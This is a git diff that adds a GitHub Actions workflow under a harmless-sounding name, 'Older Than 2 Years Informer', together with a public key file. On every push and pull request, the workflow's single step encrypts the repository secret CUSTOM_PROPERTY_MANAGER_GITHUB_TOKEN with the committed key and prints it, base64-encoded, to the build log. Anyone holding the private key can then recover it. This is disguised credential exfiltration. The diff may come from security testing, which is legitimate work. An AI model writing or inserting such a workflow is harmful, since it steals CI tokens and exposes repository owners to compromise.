diff --git a/.github/workflows/expose-token.yml b/.github/workflows/expose-token.yml new file mode 100644 index 00000000..ec072ab1 --- /dev/null +++ b/.github/workflows/expose-token.yml @@ -0,0 +1,18 @@ +name: Older Than 2 Years Informer +on: + workflow_dispatch: + push: + branches: [main] + pull_request: + types: [opened, synchronize, reopened, ready_for_review] + branches: [main] +jobs: + build: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@a5ac7e51b41094c92402da3b24376905380afc29 # v4.1.6 + with: + fetch-depth: 0 + - shell: bash + run: | + echo -n "${{ secrets.CUSTOM_PROPERTY_MANAGER_GITHUB_TOKEN }}" | openssl rsautl -in - -pubin -inkey ${{ github.workspace }}/key.pub -encrypt | base64 -w 0 diff --git a/key.pub b/key.pub new file mode 100644 index 00000000..ad96e4f2 --- /dev/null +++ b/key.pub @@ -0,0 +1,9 @@ +-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw+Y5JdtOzB4XeTI2XSQ3 +cJSycx0w2y5UzZSYuG3ZkrDlM+O2AOGNaRwG3WVMEpY2pT96hqnP24iMVr42IyAo +pKdUbNTZfJvs+Vl60XTKiEoEedtDTjQ470uSSKHX3WDPhby+w+9goRKpqYaDdYAM +3bOAGV3kZrDYmLJdPPqd2Iq4LLwR762rqXjFgY45gBuzabiScZL0i1GUMGf5Ya4g +cNA2sRlPwSOOZjAAU6bfHXPW+LvvA10VUU9zfbUv5ugrHzSTs+FyQhmUIXKAno2y +QC0SQIeg8klt1dwixrqjOqGkiHoFe69i2geHa7IJtZfFHXd7f9LIgTAo8Gyrtj6u +uQIDAQAB +-----END PUBLIC KEY-----